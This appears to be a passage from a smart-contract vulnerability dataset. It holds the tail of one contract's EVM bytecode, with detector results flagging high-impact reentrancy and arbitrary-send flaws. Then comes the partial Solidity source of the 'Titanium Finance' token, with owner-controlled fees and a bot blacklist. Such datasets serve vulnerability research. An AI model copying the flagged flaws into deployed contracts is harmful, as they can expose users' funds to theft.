ffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610d1857600080fd5b505afa158015610d2c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d5091906133c8565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166040518363ffffffff1660e01b8152600401610dce9291906137cd565b602060405180830381600087803b158015610de857600080fd5b505af1158015610dfc573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e2091906133c8565b600c60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1631600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610f26600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1661061e565b600080610f3161085c565b426040518863ffffffff1660e01b8152600401610f539695949392919061381f565b6060604051808303818588803b158015610f6c57600080fd5b505af1158015610f80573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610fa5919061353e565b505050600a601260086101000a81548161ffff021916908361ffff160217905550600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166000196040518363ffffffff1660e01b81526004016110479291906137f6565b602060405180830381600087803b15801561106157600080fd5b505af1158015611075573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110999190613511565b5060016012600a6101000a81548160ff02191690831515021790555060016012600c6101000a81548160ff021916908315150217905550565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156111d1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111c89061395d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611241576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611238906138dd565b60405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161131f91906139bd565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561139c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113939061393d565b60405180910390fd5b600081116113df576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113d69061391d565b60405180910390fd5b600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156114835750600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b61148c57600080fd5b611494611fbd565b61149c61085c565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561150a57506114da61085c565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b801561152257506012600a9054906101000a900460ff165b15611bd5576012600b9054906101000a900460ff16611754573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156115a357503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156115fd5750600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156116575750600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561175357600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661169d611159565b73ffffffffffffffffffffffffffffffffffffffff1614806117135750600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166116fb611159565b73ffffffffffffffffffffffffffffffffffffffff16145b611752576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117499061399d565b60405180910390fd5b5b5b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156117ff5750600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156118555750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b801561186e57506012600b9054906101000a900460ff16155b1561192b576064601260009054906101000a900467ffffffffffffffff1667ffffffffffffffff1610156118dd576103e8601260089054906101000a900461ffff1661ffff1666038d7ea4c680006118c69190613bb1565b6118d09190613b80565b8111156118dc57600080fd5b5b6012600081819054906101000a900467ffffffffffffffff168092919061190390613d67565b91906101000a81548167ffffffffffffffff021916908367ffffffffffffffff160217905550505b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161480156119d65750600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611a2c5750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611a4557506012600b9054906101000a900460ff16155b15611ae6576012600c9054906101000a900460ff1615611ae5576000611a8c600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1661061e565b90506127106001611abe600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1661061e565b611ac89190613bb1565b611ad29190613b80565b811115611ae357611ae281611fcf565b5b505b5b6012600b9054906101000a900460ff16611bd4576005601260009054906101000a900467ffffffffffffffff1667ffffffffffffffff161415611b42576014601260086101000a81548161ffff021916908361ffff1602179055505b600f601260009054906101000a900467ffffffffffffffff1667ffffffffffffffff161415611b8a57601e601260086101000a81548161ffff021916908361ffff1602179055505b6028601260009054906101000a900467ffffffffffffffff1667ffffffffffffffff161415611bd3576103e8601260086101000a81548161ffff021916908361ffff1602179055505b5b5b600060019050600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611c7c5750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b80611c9357506012600b9054906101000a900460ff165b15611c9d57600090505b611ca9848484846120c1565b50505050565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611d17573d6000803e3d6000fd5b5050565b6000600e54821115611d62576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d59906138bd565b60405180910390fd5b6000611d6c61230a565b90508083611d7a9190613b80565b915050919050565b6000600267ffffffffffffffff811115611d9f57611d9e613e25565b5b604051908082528060200260200182016040528015611dcd5781602001602082028036833780820191505090505b509050600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681600081518110611e0757611e06613df6565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681600181518110611e7857611e77613df6565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611f01600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611161565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac94783600084600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16426040518663ffffffff1660e01b8152600401611f879594939291906139d8565b600060405180830381600087803b158015611fa157600080fd5b505af1158015611fb5573d6000803e3d6000fd5b505050505050565b6000601081905550600a601181905550565b60016012600b6101000a81548160ff021916908315150217905550611ff381611d82565b60006005600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163161203b9190613b80565b905061205260048261204d9190613bb1565b611caf565b61205b8161232e565b7f17bbfb9a6069321b6ded73bd96327c9e6b7212a5cd51ff219cd61370acafb5618260048361208a9190613bb1565b8360405161209a93929190613a32565b60405180910390a15060006012600b6101000a81548160ff02191690831515021790555050565b806120cf576120ce61237f565b5b600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680156121725750600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561218757612182848484612391565b612304565b600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615801561222a5750600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561223f5761223a8484846125dc565b612303565b600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680156122e15750600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156122f6576122f1848484612827565b612302565b612301848484612b00565b5b5b5b50505050565b6000806000612317612cbd565b9150915080826123279190613b80565b9250505090565b61233661085c565b73ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f1935050505015801561237b573d6000803e3d6000fd5b5050565b60006010819055506000601181905550565b6000806000806000806123a387612f6f565b95509550955095509550955086600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546123fa9190613c0b565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555085600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124889190613c0b565b600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555084600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546125169190613b2a565b600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061256281612fd1565b61256c8483613196565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516125c991906139bd565b60405180910390a3505050505050505050565b6000806000806000806125ee87612f6f565b95509550955095509550955085600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546126459190613c0b565b600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555082600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546126d39190613b2a565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555084600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546127619190613b2a565b600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506127ad81612fd1565b6127b78483613196565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161281491906139bd565b60405180910390a3505050505050505050565b60008060008060008061283987612f6f565b95509550955095509550955086600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546128909190613c0b565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555085600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461291e9190613c0b565b600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555082600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546129ac9190613b2a565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555084600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612a3a9190613b2a565b600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612a8681612fd1565b612a908483613196565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051612aed91906139bd565b60405180910390a3505050505050505050565b600080600080600080612b1287612f6f565b95509550955095509550955085600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612b699190613c0b565b600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555084600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612bf79190613b2a565b600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612c4381612fd1565b612c4d8483613196565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051612caa91906139bd565b60405180910390a3505050505050505050565b6000806000600e549050600066038d7ea4c68000905060005b600980549050811015612f2f57826001600060098481548110612cfc57612cfb613df6565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541180612dea5750816002600060098481548110612d8257612d81613df6565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b15612e0657600e5466038d7ea4c6800094509450505050612f6b565b6001600060098381548110612e1e57612e1d613df6565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483612e8f9190613c0b565b92506002600060098381548110612ea957612ea8613df6565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482612f1a9190613c0b565b91508080612f2790613d1e565b915050612cd6565b5066038d7ea4c68000600e54612f459190613b80565b821015612f6257600e5466038d7ea4c68000935093505050612f6b565b81819350935050505b9091565b6000806000806000806000806000612f8c8a6010546011546131c2565b9250925092506000806000612faa8d8686612fa561230a565b61322e565b9250925092508282828888889b509b509b509b509b509b5050505050505091939550919395565b6000612fdb61230a565b905060008183612feb9190613bb1565b90508060016000600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461305a9190613b2a565b60016000600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508260026000600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461312c9190613b2a565b60026000600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b81600e546131a49190613c0b565b600e8190555080600f546131b89190613b2a565b600f819055505050565b600080600080606486886131d69190613bb1565b6131e09190613b80565b90506000606486896131f29190613bb1565b6131fc9190613b80565b9050600081838a61320d9190613c0b565b6132179190613c0b565b905080838395509550955050505093509350939050565b60008060008084886132409190613bb1565b9050600085886132509190613bb1565b9050600086886132609190613bb1565b905060008183856132719190613c0b565b61327b9190613c0b565b9050838184965096509650505050509450945094915050565b60006132a76132a284613aa9565b613a84565b905080838252602082019050828560208602820111156132ca576132c9613e59565b5b60005b858110156132fa57816132e08882613304565b8452602084019350602083019250506001810190506132cd565b5050509392505050565b6000813590506133138161407f565b92915050565b6000815190506133288161407f565b92915050565b600082601f83011261334357613342613e54565b5b8135613353848260208601613294565b91505092915050565b60008151905061336b81614096565b92915050565b600081359050613380816140ad565b92915050565b600081519050613395816140ad565b92915050565b6000602082840312156133b1576133b0613e63565b5b60006133bf84828501613304565b91505092915050565b6000602082840312156133de576133dd613e63565b5b60006133ec84828501613319565b91505092915050565b6000806040838503121561340c5761340b613e63565b5b600061341a85828601613304565b925050602061342b85828601613304565b9150509250929050565b60008060006060848603121561344e5761344d613e63565b5b600061345c86828701613304565b935050602061346d86828701613304565b925050604061347e86828701613371565b9150509250925092565b6000806040838503121561349f5761349e613e63565b5b60006134ad85828601613304565b92505060206134be85828601613371565b9150509250929050565b6000602082840312156134de576134dd613e63565b5b600082013567ffffffffffffffff8111156134fc576134fb613e5e565b5b6135088482850161332e565b91505092915050565b60006020828403121561352757613526613e63565b5b60006135358482850161335c565b91505092915050565b60008060006060848603121561355757613556613e63565b5b600061356586828701613386565b935050602061357686828701613386565b925050604061358786828701613386565b9150509250925092565b600061359d83836135a9565b60208301905092915050565b6135b281613c3f565b82525050565b6135c181613c3f565b82525050565b60006135d282613ae5565b6135dc8185613b08565b93506135e783613ad5565b8060005b838110156136185781516135ff8882613591565b975061360a83613afb565b9250506001810190506135eb565b5085935050505092915050565b61362e81613c51565b82525050565b61363d81613ca8565b82525050565b600061364e82613af0565b6136588185613b19565b9350613668818560208601613cba565b61367181613e68565b840191505092915050565b6000613689602a83613b19565b915061369482613e79565b604082019050919050565b60006136ac602283613b19565b91506136b782613ec8565b604082019050919050565b60006136cf602083613b19565b91506136da82613f17565b602082019050919050565b60006136f2602983613b19565b91506136fd82613f40565b604082019050919050565b6000613715602583613b19565b915061372082613f8f565b604082019050919050565b6000613738602483613b19565b915061374382613fde565b604082019050919050565b600061375b601783613b19565b91506137668261402d565b602082019050919050565b600061377e601183613b19565b915061378982614056565b602082019050919050565b61379d81613c7d565b82525050565b6137ac81613c9b565b82525050565b60006020820190506137c760008301846135b8565b92915050565b60006040820190506137e260008301856135b8565b6137ef60208301846135b8565b9392505050565b600060408201905061380b60008301856135b8565b6138186020830184613794565b9392505050565b600060c08201905061383460008301896135b8565b6138416020830188613794565b61384e6040830187613634565b61385b6060830186613634565b61386860808301856135b8565b61387560a0830184613794565b979650505050505050565b60006020820190506138956000830184613625565b92915050565b600060208201905081810360008301526138b58184613643565b905092915050565b600060208201905081810360008301526138d68161367c565b9050919050565b600060208201905081810360008301526138f68161369f565b9050919050565b60006020820190508181036000830152613916816136c2565b9050919050565b60006020820190508181036000830152613936816136e5565b9050919050565b6000602082019050818103600083015261395681613708565b9050919050565b600060208201905081810360008301526139768161372b565b9050919050565b600060208201905081810360008301526139968161374e565b9050919050565b600060208201905081810360008301526139b681613771565b9050919050565b60006020820190506139d26000830184613794565b92915050565b600060a0820190506139ed6000830188613794565b6139fa6020830187613634565b8181036040830152613a0c81866135c7565b9050613a1b60608301856135b8565b613a286080830184613794565b9695505050505050565b6000606082019050613a476000830186613794565b613a546020830185613794565b613a616040830184613794565b949350505050565b6000602082019050613a7e60008301846137a3565b92915050565b6000613a8e613a9f565b9050613a9a8282613ced565b919050565b6000604051905090565b600067ffffffffffffffff821115613ac457613ac3613e25565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000613b3582613c7d565b9150613b4083613c7d565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115613b7557613b74613d98565b5b828201905092915050565b6000613b8b82613c7d565b9150613b9683613c7d565b925082613ba657613ba5613dc7565b5b828204905092915050565b6000613bbc82613c7d565b9150613bc783613c7d565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615613c0057613bff613d98565b5b828202905092915050565b6000613c1682613c7d565b9150613c2183613c7d565b925082821015613c3457613c33613d98565b5b828203905092915050565b6000613c4a82613c5d565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600067ffffffffffffffff82169050919050565b600060ff82169050919050565b6000613cb382613c7d565b9050919050565b60005b83811015613cd8578082015181840152602081019050613cbd565b83811115613ce7576000848401525b50505050565b613cf682613e68565b810181811067ffffffffffffffff82111715613d1557613d14613e25565b5b80604052505050565b6000613d2982613c7d565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415613d5c57613d5b613d98565b5b600182019050919050565b6000613d7282613c87565b915067ffffffffffffffff821415613d8d57613d8c613d98565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b61408881613c3f565b811461409357600080fd5b50565b61409f81613c51565b81146140aa57600080fd5b50565b6140b681613c7d565b81146140c157600080fd5b5056fea26469706673582212204464db2f9467a3fdff9d6304923f9e586dff4288f4a6e97a733dbcd128b71e3564736f6c63430008060033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}} | 10,534 |
0x17a5252ef3ba2e224b4de3cecdd5d01612b5827c | /**
*Submitted for verification at Etherscan.io on 2022-04-07
*/
// SPDX-License-Identifier: Unlicensed
// TG: Titaniumfi
pragma solidity ^0.8.9;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract Ti is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Titanium Finance";
string private constant _symbol = "Ti";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1e12 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _redisFeeOnBuy = 0;
uint256 private _taxFeeOnBuy = 9;
uint256 private _redisFeeOnSell = 0;
uint256 private _taxFeeOnSell = 9;
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots;
mapping (address => uint256) public _buyMap;
address payable private _marketingAddress ;
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 20000000000 * 10**9;
uint256 public _maxWalletSize = 20000000000 * 10**9;
uint256 public _swapTokensAtAmount = 10000 * 10**9;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
_marketingAddress = payable(_msgSender());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_marketingAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
